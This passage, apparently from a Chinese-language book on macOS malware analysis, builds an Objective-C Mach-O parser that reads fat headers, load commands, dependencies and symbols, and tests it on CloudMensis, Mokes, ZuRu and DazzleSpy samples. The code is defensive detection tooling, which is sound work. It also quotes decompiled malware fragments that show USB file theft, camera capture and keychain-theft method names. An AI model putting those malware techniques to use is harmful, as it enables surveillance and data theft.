为了确认此代码的准确性,我们可以将此输出与 macOS 的 otool 命令进行比较,-f 标志可以解析并显示 fat 头:

% **otool -f CloudMensis/WindowServer**
Fat headers
fat_magic 0xcafebabe
nfat_arch 2
architecture 0
    cputype 16777223
    cpusubtype 3
    capabilities 0x0
    offset 16384
    size 708560
    align 2¹⁴ (16384)
architecture 1
    cputype 16777228
    cpusubtype 0
    capabilities 0x0
    offset 737280
    size 688176
    align 2¹⁴ (16384) 

在工具的输出中,我们看到有关恶意软件两个嵌入式二进制文件的相同信息。

接下来,我们添加一些代码来确定哪个嵌入式 Mach-O 二进制文件与主机的原生架构匹配。回想一下,我们已经调用了 NXGetLocalArchInfo API 来获取主机架构。此外,我们还展示了如何计算到第一个 fat_arch 结构的偏移量,该结构紧随 fat 头之后。为了找到原生兼容的 Mach-O,现在我们可以调用 NXFindBestFatArch API(列表 2-5)。

bestArchitecture = NXFindBestFatArch(localArch->cputype, localArch->
cpusubtype, arch, header->nfat_arch); 

列表 2-5:确定通用二进制文件的最佳架构

我们将主机架构、指向 fat_arch 结构开始的指针以及这些结构的数量传递给 API。NXFindBestFatArch API 将确定在通用二进制文件中最与主机原生架构兼容的 Mach-O 二进制文件。回想一下,parseFat 辅助函数返回此值并打印出来。

如果我们将此代码添加到二进制解析器中,然后再次在 CloudMensis 上运行,它输出以下内容:

% **./parseBinary CloudMensis/WindowServer**
...
best architecture match
    cputype 16777228 (0x100000c)
    cpusubtype 0 (0)
    capabilities 0x0
    offset 737280 (0xb4000)
    size 688176 (0xa8030)
    align 2¹⁴ (16384) 

在 Apple Silicon(ARM64)系统上,代码已正确确定第二个嵌入式 Mach-O 二进制文件,其 CPU 类型为 16777228/0x100000c(CPU_TYPE_ARM64),是通用 CloudMensis 二进制文件中最兼容的 Mach-O。当启动此通用二进制文件时,我们可以使用活动监视器中的“类型”栏来确认 macOS 确实选择并运行了 Apple Silicon Mach-O(图 2-2)。

图 2-2:CloudMensis 二进制文件 WindowServer 作为原生 Apple Silicon 二进制文件运行

另一种确认 CloudMensis 作为原生 Apple Silicon 二进制运行的方法是使用在第一章中介绍的enumerateProcesses项目。回想一下,它提取了每个正在运行的进程的架构:

% **./enumerateProcesses**
...
(1990):/Library/WebServer/share/httpd/manual/WindowServer
...
architecture: Apple Silicon 

我们得到相同的结果。

Macho* API

在 macOS 13 中,Apple 引入了macho_* API。这些 API 位于mach-o/utils.h中,提供了一种简化的方式来遍历通用二进制文件中的 Mach-O 二进制文件,并选择最兼容的一个。已经弃用的 NX* API 仍然可以用于这个目的,但如果你在 macOS 13 或更高版本上开发工具,建议使用更新的函数。

macho_for_each_slice API 让我们无需手动解析通用头文件或处理字节顺序的细节,就能提取出通用二进制文件中的 Mach-O 文件。我们通过文件路径和回调块来调用此函数,对每个 Mach-O 切片执行回调。如果对独立的 Mach-O 文件调用此函数,回调将只运行一次。如果文件不是格式正确的通用二进制文件或 Mach-O 文件,函数会优雅地失败,这意味着我们不必手动验证文件类型。mach-o/utils.h头文件包含了可能的返回值及其含义:

ENOENT - path does not exist
EACCES - path exists but caller does not have permission to access it
EFTYPE - path exists but it is not a Mach-o or fat file
EBADMACHO - path is a Mach-o file, but it is malformed 

对每个嵌入的 Mach-O 调用的回调块具有以下类型:

void (^ _Nullable callback)(const struct mach_header* _Nonnull slice,
uint64_t offset, size_t size, bool* _Nonnull stop) 

这种类型乍一看可能有点令人困惑,但如果我们仅仅关注参数,就会发现回调函数将会被调用,并传递包含切片信息的各种数据,包括指向mach_header结构的指针、切片的偏移量以及其大小。

示例 2-6 中的代码,作为parseFat辅助函数的一部分,调用了macho_for_each_slice来打印出每个嵌入 Mach-O 的信息。它还包含了一些基本的错误处理,我们可以用它来过滤掉那些既不是通用文件也不是 Mach-O 文件的文件。

struct fat_arch* parseFat(const char* file, struct fat_header* header) {
    ...
    if(@available(macOS 13.0, *)) {
        __block int count = 0;

        int result = macho_for_each_slice(file,
        ^(const struct mach_header* slice, uint64_t offset, size_t size, bool* stop) { ❶
            printf("architecture %d\n", count++); ❷
            printf("offset %llu (%#llx)\n", offset, offset);
            printf("size %zu (%#zx)\n", size, size);
            printf("name %s\n\n", macho_arch_name_for_mach_header(slice)); ❸
        });
        if(0 != result) {
            printf("ERROR: macho_for_each_slice failed\n");

            switch(result) { ❹
                case EFTYPE:
                    printf("EFTYPE: path exists but it is not a Mach-o or fat file\n\n");
                    break;

                case EBADMACHO:
                    printf("EBADMACHO: path is a Mach-o file, but it is malformed\n\n");
                    break;

                ...
            }
        }
    }
    ...
} 

示例 2-6:遍历所有嵌入的 Mach-O

这段代码调用了macho_for_each_slice函数❶。在回调块中,我们打印出一个计数器变量,后跟切片的偏移量和大小❷。我们还利用了macho_arch_name_for_mach_header函数来打印出每个切片架构的名称❸。

如果用户指定的文件不是格式正确的通用或 Mach-O 二进制文件,函数将失败。代码会处理这个情况,打印出一个通用的错误消息,以及常见错误的额外信息❹。

如果我们将这段代码添加到parseBinary项目中,并运行它来处理 CloudMensis 的通用二进制文件,它应该输出与利用 NX* API 的代码相同的偏移量和大小值,用于恶意软件的两个嵌入式 Mach-O:

% **./parseBinary CloudMensis/WindowServer**
...
architecture 0
    offset 16384 (0x4000)
    size 708560 (0xacfd0)
    name x86_64

architecture 1
    offset 737280 (0xb4000)
    size 688176 (0xa8030)
    name arm64 

那么,如何找到最兼容的切片,或者说,如果执行通用二进制文件时,主机会加载并运行哪个切片呢?macho_best_slice函数旨在准确返回这个切片。它接受一个文件路径用于检查,并且在找到最佳切片时会调用一个回调块。将示例 2-7 中的函数添加到之前的代码中。

result = macho_best_slice(argv[1],
^(const struct mach_header* _Nonnull slice, uint64_t offset, size_t sliceSize) {
    printf("best architecture\n");
    printf("offset %llu (%#llx)\n", offset, offset);
    printf("size %zu (%#zx)\n", sliceSize, sliceSize);
    printf("name %s\n\n", macho_arch_name_for_mach_header(slice));
});
if(0 != result) {
    printf("ERROR: macho_best_slice failed with %d\n", result);
} 

示例 2-7:调用macho_best_slice来寻找最佳切片

然而,如果我们在 CloudMensis(macOS 版本低于 15)上运行这段代码,它会失败并返回值 86:

% **./parseBinary CloudMensis/WindowServer**
...
ERROR: macho_best_slice failed with 86 

根据 mach-o/utils.h 头文件,这个错误值映射到 EBADARCH,意味着没有任何切片可以加载。这很奇怪,因为 NXFindBestFatArch 函数识别出嵌入的 ARM64 Mach-O 二进制文件与我的 Apple Silicon 分析机兼容。此外,这个 ARM64 Mach-O 绝对可以运行,正如你在 图 2-2 中看到的那样。事实证明,正如苹果新 API 经常发生的情况一样,macho_best_slice 函数在 macOS 15 之前是有问题的。在旧版本的 macOS 上,对于任何在 Apple Silicon 系统上的第三方通用二进制文件,该函数返回 EBADARCH。

逆向工程以及研究 dyld 的代码,^(3) 揭示了错误的根本原因:代码没有传递一个兼容的 CPU 类型列表(例如 arm64 或 x86_64)给切片选择函数,而是错误地只传递了操作系统编译时所用的 CPU 类型。在 Apple Silicon 上,这个 CPU 类型是 arm64e(CPU_SUBTYPE_ARM64E),仅被苹果使用。这就解释了为什么选择逻辑从未选择第三方通用二进制文件中的切片,因为这些文件是以 arm64 或 x86_64 编译的(但从不包含 arm64e),而是直接返回了 EBADARCH 错误。

你可以在我的文章《苹果因切割苹果而得到‘F’评价》中阅读更多关于这个 bug 的内容。^(4) 我的分析提出了一个简单的修复方法:苹果不应该调用 GradedArchs::forCurrentOS 方法,而应该调用 GradedArchs::launchCurrentOS 来获取正确的兼容 CPU 类型列表。好消息是,苹果最终采纳了这个建议,这意味着在 macOS 15 及更高版本上,macho_best_slice 按预期工作。

既然你已经知道如何解析通用二进制文件,接下来让我们将注意力转向嵌入其中的 Mach-O 二进制文件。^(5)

Mach-O 头部

Mach-O 二进制文件包含我们需要的信息,比如依赖关系和符号。为了程序化地提取这些信息,我们必须解析 Mach-O 的头部。在一个通用二进制文件中,我们可以通过分析 fat 头和架构结构来定位这个头部,就像你在上一节中看到的那样。在一个单架构的独立 Mach-O 文件中,找到头部非常简单,因为它位于文件的开头。

列表 2-8 跟随代码,识别通用二进制文件中的最佳 Mach-O。它确认该切片确实是一个 Mach-O,然后处理文件是独立 Mach-O 的情况。

NSData* data = [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:argv[1]]];

struct mach_header_64* machoHeader = (struct mach_header_64*)data.bytes; ❶

if((FAT_MAGIC == fatHeader->magic) ||
    (FAT_CIGAM == fatHeader->magic)) {
    // Removed the code that finds the best architecture, for brevity
    ...
    machoHeader = (struct mach_header_64*)(data.bytes + bestArch->offset); ❷
}

if((MH_MAGIC_64 == machoHeader->magic) || ❸
    (MH_CIGAM_64 == machoHeader->magic)) {
    printf("binary is Mach-O\n");
    // Add code here to parse the Mach-O.
} 

列表 2-8:找到相关的 Mach-O 头部

加载文件到内存后,我们将文件开头的字节转换为 mach_header_64 结构体 ❶。如果是通用二进制文件,我们会找到描述最兼容的嵌入式 Mach-O 的 fat_arch 结构体。使用该结构体的偏移量成员,我们更新指针以指向嵌入的二进制文件 ❷。

在解析二进制文件之前,我们必须验证指针确实指向 Mach-O 的开始部分。我们采用一种简单的验证方法:检查 Mach-O 魔术值的存在 ❸。由于二进制文件的头部和主机架构可能具有不同的字节序,代码会检查 Apple 的 *mach-o/loader.h* 头文件中定义的 MH_MAGIC_64MH_CIGAM_64 常量:

#define MH_MAGIC_64 0xfeedfacf
#define MH_CIGAM_64 0xcffaedfe 

为了简化代码,示例跳过了推荐的健全性和错误检查。例如,生产环境代码应该至少确保读取的字节大小大于 sizeof(struct mach_header_64),才能在头部解引用偏移量。

注意

Mach-O 头部的类型为 mach_headermach_header_64。由于最新版本的 macOS 仅支持 64 位代码,因此本节聚焦于 mach_header_64它在 mach-o/loader.h 中定义。

现在我们确定正在查看 Mach-O 文件,我们可以对其进行解析。清单 2-9 定义了一个名为 parseMachO 的辅助函数来实现这一目的。它接收指向 mach_header_64 结构体的指针。

void parseMachO(struct mach_header_64* header) {
    if(MH_CIGAM_64 == machoHeader->magic) {
        swap_mach_header_64(machoHeader, ((NXArchInfo*)NXGetLocalArchInfo())->byteorder);
    }
    ...
} 

清单 2-9:交换 Mach-O 头部以匹配主机的字节顺序

由于二进制文件的头部和主机机器可能具有不同的字节序,代码首先检查交换过的 Mach-O 魔术值。如果遇到它,则通过 swap_mach_header_64 API 交换头部。请注意,这段代码使用了 macOS 的 NXGetLocalArchInfo 函数,但如果你为 macOS 13 或更高版本编写代码,应该使用更新的 macho* API(再次注意,macho_best_slice 函数在 macOS 15 之前是有问题的)。

为了打印出 Mach-O 头部,我们编写了一个辅助函数 printMachOHeader(清单 2-10)。

void printMachOHeader(struct mach_header_64* header) {
    int32_t cpusubtype = 0;
    cpusubtype = header->cpusubtype & ~CPU_SUBTYPE_MASK;

    printf("Mach-O header\n");
    printf(" magic %#x\n", header->magic);
    printf(" cputype %u (%#x)\n", header->cputype, header->cputype);
    printf(" cpusubtype %u (%#x)\n", cpusubtype, cpusubtype);
    printf(" capabilities %#x\n", (header->cpusubtype & CPU_SUBTYPE_MASK) >> 24);

    printf(" filetype %u (%#x)\n", header->filetype, header->filetype);

    printf(" ncmds %u\n", header->ncmds);
    printf(" sizeofcmds %u\n", header->sizeofcmds);

    printf(" flags %#x\n", header->flags);
} 

清单 2-10:打印出 Mach-O 头部

你可以在 mach_header_64 结构体定义的注释中找到每个头部成员的概述。例如,在魔术值字段后面是描述二进制文件兼容的 CPU 类型和子类型的两个字段。cpusubtype 成员还包含二进制文件的能力,这些能力可以提取到它们自己的字段中。

文件类型表示二进制文件是独立可执行文件还是可加载的库。接下来的字段描述了二进制文件的加载命令的数量和大小,我们稍后将广泛使用这些字段。最后,结构体的 flags 成员表示附加的可选功能,例如二进制文件是否与地址空间布局随机化兼容。

让我们运行 Mach-O 解析代码来处理 CloudMensis。在搜索通用头部之后,工具找到了兼容的 Mach-O 头部并将其打印出来:

% **./parseBinary CloudMensis/WindowServer**
Mach-O header:
    magic 0xfeedfacf
    cputype 16777228 (0x100000c)
    cpusubtype 0 (0)
    capabilities 0
    filetype 2 (0x2)
    ncmds 28
    sizeofcmds 4192
    flags 0x200085 

这个输出与 Apple 的 otool 相匹配,后者的 -h 标志指示其打印出 Mach-O 头部:

% **otool -h CloudMensis/WindowServer**
...
CloudMensis/WindowServer (architecture arm64):
Mach header
 magic       cputype    cpusubtype   caps   filetype  ncmds  sizeofcmds  flags
 0xfeedfacf  16777228   0            0x00   2         28     4192        0x00200085 

运行带有 -v 标志的 otool 会将返回的数字值转换为符号:

% **otool -hv CloudMensis/WindowServer**
...
CloudMensis/WindowServer (architecture arm64):
Mach header
magic        cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64  ARM64   ALL        0x00 EXECUTE  28    4192       NOUNDEFS DYLDLINK
                                                               TWOLEVEL PIE 

这些值确认了我们的工具按预期工作。 ### 加载命令

加载命令是dyld的指令,紧随 Mach-O 头部之后。一个名为 ncmds 的头部字段指定了加载命令的数量,每个命令都是一个 load_command 类型的结构,包含命令类型(cmd)和大小(cmdsize),如下所示:

struct load_command {
   uint32_t cmd;        /* type of load command */
   uint32_t cmdsize;    /* total size of command in bytes */
}; 

一些加载命令描述了二进制文件中的段,例如包含二进制代码的 __TEXT 段,而其他命令则描述了依赖关系、符号表的位置等。因此,旨在提取 Mach-O 文件中信息的代码通常会从解析加载命令开始。

Listing 2-11 定义了一个名为 findLoadCommand 的辅助函数。该函数接受指向 Mach-O 头部的指针和要查找的加载命令类型。找到加载命令的起始位置后,它会遍历每个命令,创建一个包含匹配指定类型命令的数组。

NSMutableArray* findLoadCommand(struct mach_header_64* header, uint32_t type) {
    NSMutableArray* commands = [NSMutableArray array];
    struct load_command* command = NULL;

    command = (struct load_command*)((unsigned char*)header + sizeof(struct mach_header_64)); ❶

    for(uint32_t i = 0; i < header->ncmds; i++) { ❷
        if(type == command->cmd) { ❸
            [commands addObject:[NSValue valueWithPointer:command]]; ❹
        }
        command = (struct load_command*)((unsigned char*)command + command->cmdsize); ❺
    }

    return commands;
} 

Listing 2-11:遍历所有加载命令,并收集匹配指定类型的命令

我们首先计算指向第一个加载命令的指针,该命令紧随 Mach-O 头部❶之后。然后,我们遍历所有加载命令,它们一个接一个地出现❷,并检查每个命令的 cmd 成员,看看它是否匹配指定的类型❸。由于我们不能直接将指针存储在 Objective-C 数组中,因此我们首先创建一个 NSValue 对象来存储加载命令的地址❹。最后,我们前进到下一个加载命令。加载命令的大小可能不同,因此我们使用当前命令的 cmdsize 字段❺来找到下一个命令。

通过理解加载命令和返回感兴趣命令的辅助函数,我们现在可以考虑一些可以提取的相关信息示例,从依赖关系开始。 ### 提取依赖关系

解析 Mach-O 文件的原因之一是为了提取其依赖关系dyld会自动加载的动态库。理解二进制文件的依赖关系可以帮助我们了解它可能的功能,甚至揭示恶意的依赖关系。例如,CloudMensis 链接了DiskArbitration框架,该框架提供了与外部磁盘交互的 API。通过使用该框架的 API,恶意软件监视可移动 USB 驱动器的插入,以便它可以窃取外部文件。

在编写代码时,我们通常可以通过多种方式实现相同的结果。例如,在第一章中,我们通过利用 vmmap 提取了运行中的进程中加载的所有库和框架。在这一章中,我们将通过手动解析 Mach-O 来执行类似的任务。这种静态方法只会提取直接依赖关系,排除递归;也就是说,我们不会提取依赖项的依赖项。此外,二进制文件在运行时直接加载的库本身不是依赖项,因此也不会被提取。虽然这种方法简单,但它有助于我们理解 Mach-O 的能力,而且不需要像 vmmap 那样执行外部二进制文件。此外,该代码可以在任何 Mach-O 二进制文件上运行,而不要求其当前正在执行。

查找依赖路径

为了提取一个二进制文件的依赖关系,我们可以枚举它的 LC_LOAD_DYLIB 加载命令,每个命令都包含一个指向 Mach-O 所依赖的库或框架的路径。dylib_command 结构体描述了这些加载命令:

struct dylib_command {
    uint32_t       cmd;          /* LC_ID_DYLIB, LC_LOAD_{,WEAK_}DYLIB, LC_REEXPORT_DYLIB */
    uint32_t       cmdsize;      /* includes pathname string */
    struct dylib   dylib;        /* the library identification */
}; 

我们将在一个名为 extractDependencies 的函数中提取这些依赖关系,该函数接受一个指向 Mach-O 头部的指针,并返回一个包含依赖项名称的数组。

注意

为了简化起见,我们不会考虑 LC_LOAD_WEAK_DYLIB 加载命令,它描述的是可选的依赖关系。

在清单 2-12 中,代码首先调用 findLoadCommand 辅助函数,找到类型为 LC_LOAD_DYLIB 的加载命令。然后,它遍历这些加载命令中的每一个,提取依赖项的路径。

NSMutableArray* extractDependencies(struct mach_header_64* header) {
    ...
    NSMutableArray* commands = findLoadCommand(header, LC_LOAD_DYLIB);

    for(NSValue* command in commands) {
        // Add code here to extract each dependency.
    } 

清单 2-12:查找所有 LC_LOAD_DYLIB 加载命令

现在,让我们提取每个依赖项的名称。要理解我们如何做到这一点,请看一下描述依赖项的 dylib 结构体。这个结构体是 dylib_command 结构体的最后一个成员,用于描述 LC_LOAD_DYLIB 加载命令:

struct dylib {
    union lc_str  name;                  /* library's path name */
    uint32_t timestamp;                  /* library's build time stamp */
    uint32_t current_version;            /* library's current version number */
    uint32_t compatibility_version;      /* library's compatibility vers number*/
}; 

我们关心的是该结构体中的 name 字段,其类型为 lc_str。Apple 的loader.h文件中的注释解释了我们必须首先提取依赖路径的偏移量,然后使用它来计算路径的字节和长度(清单 2-13)。

NSMutableArray* dependencies = [NSMutableArray array];

for(NSValue* command in commands) {
    struct dylib_command* dependency = command.pointerValue; ❶

    uint32_t offset = dependency->dylib.name.offset; ❷
    char* bytes = (char*)dependency + offset;
    NSUInteger length = dependency->cmdsize-offset;

    NSString* path = [[NSString alloc] initWithBytes:bytes length:length encoding:NSUTF8     StringEncoding]; ❸

    [dependencies addObject:path];
} 

清单 2-13:从 LC_LOAD_DYLIB 加载命令中提取依赖项

我们之前将每个匹配的加载命令的指针存储为 NSValue 对象,因此我们首先需要提取这些❶。然后,我们提取依赖路径的偏移量,并用它来计算路径的字节和长度❷。现在我们可以轻松地将路径提取为字符串对象,并将其保存到数组中❸。一旦枚举完成,我们就返回包含所有依赖项的数组。

当我们编译并运行这段代码并将其应用于 CloudMensis 时,它输出以下内容:

% **./parseBinary CloudMensis/WindowServer**
...
Dependencies: (count: 12): (
    ...
    "/usr/lib/libobjc.A.dylib",
    "/usr/lib/libSystem.B.dylib",
    ...
    "/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration",
    "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration"
) 

请注意,我们之前提到的DiskArbitration框架的包含。我们可以再次使用 otool,这次加上-L 标志,来确认我们代码的准确性:

% **otool -L CloudMensis/WindowServer**
...
"/usr/lib/libobjc.A.dylib",
"/usr/lib/libSystem.B.dylib",
...
"/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration",
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration" 

从 CloudMensis 提取的依赖关系与我们的代码提取的依赖关系相符,因此我们可以继续分析它们。

分析依赖关系

CloudMensis 的大多数依赖关系是系统库和框架,例如 libobjc.A.dyliblibSystem.B.dylib。几乎所有的 Mach-O 二进制文件都与这些库链接,从恶意软件检测的角度来看,这些库本身并不引人注意。然而,DiskArbitration 依赖关系是值得注意的,因为它提供了 DA* API 用于与外部磁盘进行交互。以下是 CloudMensis 反编译后的二进制代码片段,展示了它与 DiskArbitration API 的交互:

-(void)loop_usb {
    rax = DASessionCreate(**_kCFAllocatorDefault);
  ❶ DARegisterDiskAppearedCallback(rax, 0x0, OnDiskAppeared, 0x0);
    ...
}

int OnDiskAppeared() {
    ...
  ❷ r13 = DADiskCopyDescription(rdi);
    rax = CFDictionaryGetValue(r13, **_kDADiskDescriptionVolumeNameKey);
    r14 = [NSString stringWithFormat:@"/Volumes/%@", rax];
    ...

    rax = [functions alloc];
    r15 = [rax randPathWithPrefix:0x64 isZip:0x0];

 rax = [FileTreeXML alloc];
    [rax startFileTree:r14 dropPath:r15];
    ...
    [rax MoveToFileStore:r15 Copy:0x0];
    rax = [NSURL fileURLWithPath:r14];
    r14 = [NSMutableArray arrayWithObject:rax];

    rax = [functions alloc];
    [rax SearchAndMoveFS:r14 removable:0x1];
    ...
} 

首先,在一个名为 loop_usb 的函数中,恶意软件调用了多个 DiskArbitration API 来注册一个回调,操作系统在新磁盘出现时会自动调用该回调❶。当这个 OnDiskAppeared 回调被触发时——例如,当外部 USB 驱动器插入时——它调用其他 DA* API,如 DADiskCopyDescription❷,以访问新磁盘的信息。OnDiskAppeared 回调中的其余代码负责生成文件列表,然后将文件从驱动器复制到自定义文件存储中。这些文件最终会被外泄到攻击者的远程命令与控制服务器。

让我们针对另一个恶意软件样本运行依赖代码,该样本利用更多的框架来实现广泛的攻击能力。Mokes 是一个跨平台的网络间谍植入程序,已经在利用浏览器零日漏洞的攻击中感染了 macOS 用户。^(6) 运行依赖提取器代码分析恶意软件的二进制文件,名为 storeuserd,生成了以下输出:

% **./parseBinary Mokes/storeuserd**
...
Dependencies: (count: 25): (
    "/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration",
    "/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit",
    "/System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices",
    "/System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices",
    "/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation",
    "/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation",
    "/System/Library/Frameworks/Security.framework/Versions/A/Security",
    "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration",
    "/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa",
    "/System/Library/Frameworks/Carbon.framework/Versions/A/Carbon",
    "/System/Library/Frameworks/AudioToolbox.framework/Versions/A/AudioToolbox",
    "/System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio",
    "/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
    "/System/Library/Frameworks/AVFoundation.framework/Versions/A/AVFoundation",
    "/System/Library/Frameworks/CoreMedia.framework/Versions/A/CoreMedia",
    "/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit",
    "/System/Library/Frameworks/AudioUnit.framework/Versions/A/AudioUnit",
    "/System/Library/Frameworks/CoreWLAN.framework/Versions/A/CoreWLAN",
    ...
) 

其中一些依赖关系揭示了恶意软件的功能,并可能为未来的分析提供指导。例如,恶意软件利用 AVFoundation 框架从受感染主机的麦克风和摄像头录制音频和视频。它还使用 CoreWLAN 枚举和监控网络接口,使用 DiskArbitration 监控外部存储驱动器,以查找并外泄感兴趣的文件。

当然,单独依赖关系无法证明代码是恶意的。例如,链接到 AVFoundation 的二进制文件不一定是在监视用户;它可能是一个合法的视频会议应用程序,或者只是将该框架用于无害的多媒体相关任务。然而,查看以下来自 Mokes 的反汇编片段确认它确实以恶意方式利用了 AVFoundation API:

rax = AVFAudioInputSelectorControl::createCaptureDevice();
...
rax = [AVCaptureDeviceInput deviceInputWithDevice:rax error:&var_28];
...
QMetaObject::tr(..., "Could not connect the video recorder"); 

这段摘录展示了代码如何与摄像头交互,监视受害者。

从 Mach-O 二进制文件中提取依赖关系的另一个原因是为了检测恶意的篡改版本。ZuRu 就是一个这样的例子。其恶意软件作者通过添加恶意依赖项悄悄地木马化了 iTerm 等流行应用程序,然后通过赞助广告将这些应用程序分发出去,广告会出现在用户在线搜索这些应用程序时的首位。

该篡改非常隐蔽,因为它完全保留了原始应用程序的功能。然而,快速提取依赖项能够迅速揭示出恶意依赖项。为了演示这一点,我们首先从一个合法的 iTerm2 副本中提取依赖项:

% **./parseBinary /Applications/iTerm.app/Contents/MacOS/iTerm2**
...
Dependencies: (count: 33):
    "/usr/lib/libaprutil-1.0.dylib",
    "/usr/lib/libicucore.A.dylib",
    "/usr/lib/libc++.1.dylib",
    "@rpath/BetterFontPicker.framework/Versions/A/BetterFontPicker",
    "@rpath/SearchableComboListView.framework/Versions/A/SearchableComboListView",
    "/System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory",
    ...
    "/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
    "/System/Library/Frameworks/WebKit.framework/Versions/A/WebKit",
    "/usr/lib/libsqlite3.dylib",
    "/usr/lib/libz.1.dylib"
) 

这里没有什么异常。不过,如果我们从一个被木马化的 iTerm 实例中提取依赖项,就会发现一个新的依赖项,libcrypto.2.dylib,它位于应用包中。这个依赖项很突出,不仅因为它在合法的应用程序中并不存在,还因为它是唯一一个使用 @executable_path 变量的依赖项:

% **./parseBinary ZuRu/iTerm.app/Contents/MacOS/iTerm2**
...
Dependencies: (count: 34):
    "/usr/lib/libaprutil-1.0.dylib",
    "/usr/lib/libicucore.A.dylib",
    "/usr/lib/libc++.1.dylib",
    "@rpath/BetterFontPicker.framework/Versions/A/BetterFontPicker",
    "@rpath/SearchableComboListView.framework/Versions/A/SearchableComboListView",
    "/System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory",
    ...
    "/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
    "/System/Library/Frameworks/WebKit.framework/Versions/A/WebKit",
    "/usr/lib/libsqlite3.dylib",
    "/usr/lib/libz.1.dylib",
    "@executable_path/../Frameworks/libcrypto.2.dylib"
) 

@executable_path 变量本身并没有恶意,它仅仅是告诉加载器如何相对解析库的路径(意味着库可能和可执行文件嵌入在同一个包中)。然而,添加一个新依赖,它引用了新加入的库,显然需要进行额外的分析,而这种分析揭示出该依赖包含了所有恶意逻辑。^(7)

提取符号

二进制文件的符号包含了该二进制文件的函数或方法名称,以及它所引入的 API 名称。这些函数名可以揭示文件的功能,甚至提供它是恶意的指示。例如,使用 macOS 的 nm 工具从名为 DazzleSpy 的恶意软件中提取符号:

% **nm DazzleSpy/softwareupdate**
...
"+[Exec doShellInCmd:]",
"-[ShellClassObject startPty]",
"-[MethodClass getIPAddress]",
"-[MouseClassObject PostMouseEvent::::]",
"-[KeychainClassObject getPasswordFromSecKeychainItemRef:]"
... 

从这些符号的格式来看,我们可以判断该恶意软件是用 Objective-C 编写的。Objective-C 运行时要求方法名在编译后的二进制文件中保持不变,因此了解二进制文件的功能通常比较容易。例如,嵌入在 DazzleSpy 中的符号揭示出一些方法,看似执行了 shell 命令、调查系统、发布鼠标事件以及从钥匙串窃取密码。

值得注意的是,恶意软件作者并没有什么阻碍去使用误导性的函数名,因此你永远不应仅仅通过提取的符号就得出结论。你还可能会遇到被混淆的符号(这通常表明二进制文件可能有隐瞒的内容)。最后,作者可能已经剥离了二进制文件,去除那些对程序执行不必要的符号。

在 DazzleSpy 的 nm 符号输出中,我们还发现了恶意软件从系统库和框架中导入的 API:

_bind
_connect
_AVMediaTypeVideo
_AVCaptureSessionRuntimeErrorNotification
_NSFullUserName
_SecKeychainItemCopyContent 

这些包括与恶意软件后门功能相关的网络 API,如 bind 和 connect,涉及远程桌面功能的 AVFoundation 导入,以及用于调查系统和从受害者钥匙串中抓取项目的 API。

如何程序化提取 Mach-O 二进制文件的符号?正如你将看到的,这再次需要解析二进制文件的加载命令。我们将专注于 LC_SYMTAB 加载命令,它包含有关二进制文件符号的信息,这些符号位于符号表中(因此加载命令的后缀为 SYMTAB)。该加载命令由一个 symtab_command 结构体组成,定义在 loader.h 中:

struct symtab_command {
    uint32_t        cmd;            /* LC_SYMTAB */
    uint32_t        cmdsize;        /* sizeof(struct symtab_command) */
    uint32_t        symoff;         /* symbol table offset */
    uint32_t        nsyms;          /* number of symbol table entries */
    uint32_t        stroff;         /* string table offset */
    uint32_t        strsize;        /* string table size in bytes */
}; 

symoff 成员包含符号表的偏移量,而 nsyms 则包含符号表中的条目数量。符号表由 nlist_64 结构体组成,定义在 nlist.h 中:

struct nlist_64 {
    union {
        uint32_t  n_strx;  /* index into the string table */
    } n_un;
    uint8_t n_type;        /* type flag, see below */
    uint8_t n_sect;        /* section number or NO_SECT */
    uint16_t n_desc;       /* see <mach-o/stab.h> */
    uint64_t n_value;      /* value of this symbol (or stab offset) */
}; 

符号表中的每个 nlist_64 结构体都包含指向字符串表的索引,存储在 n_strx 字段中。我们可以在 symtab_command 结构体的 stroff 字段中找到字符串表的偏移量。通过将 n_strx 中指定的索引加到此偏移量上,我们可以检索符号的 NULL 终止字符串。因此,为了提取二进制文件的符号,我们必须执行以下步骤:

1.  查找包含 symtab_command 结构体的 LC_SYMTAB 加载命令。

2.  使用 symtab_command 结构体的 symoff 成员来查找符号表的偏移量。

3.  使用 symtab_command 结构体的 stroff 成员来查找字符串表的偏移量。

4.  遍历符号表中的所有 nlist_64 结构体,以提取每个符号的索引(n_strx),并将其添加到字符串表中。

5.  将此索引应用于字符串表,以查找符号的名称。

示例 2-14 中的函数实现了这些步骤。给定指向 Mach-O 头部的指针,它将所有符号保存到一个数组中,并返回给调用者。

NSMutableArray* extractSymbols(struct mach_header_64* header) {
    NSMutableArray* symbols = [NSMutableArray array];

    NSMutableArray* commands = findLoadCommand(header, LC_SYMTAB);
    struct symtab_command* symTableCmd = ((NSValue*)commands.firstObject).pointerValue; ❶

    void* symbolTable = (((void*)header) + symTableCmd->symoff); ❷
    void* stringTable = (((void*)header) + symTableCmd->stroff); ❸
    struct nlist_64* nlist = (struct nlist_64*)symbolTable; ❹
    for(uint32_t j = 0; j < symTableCmd->nsyms; j++) { ❺
        char* symbol = (char*)stringTable + nlist->n_un.n_strx; ❻
        if(0 != symbol[0]) {
            [symbols addObject:[NSString stringWithUTF8String:symbol]];
        }
        nlist++;
    }
    return symbols;
} 

示例 2-14:提取二进制文件的符号

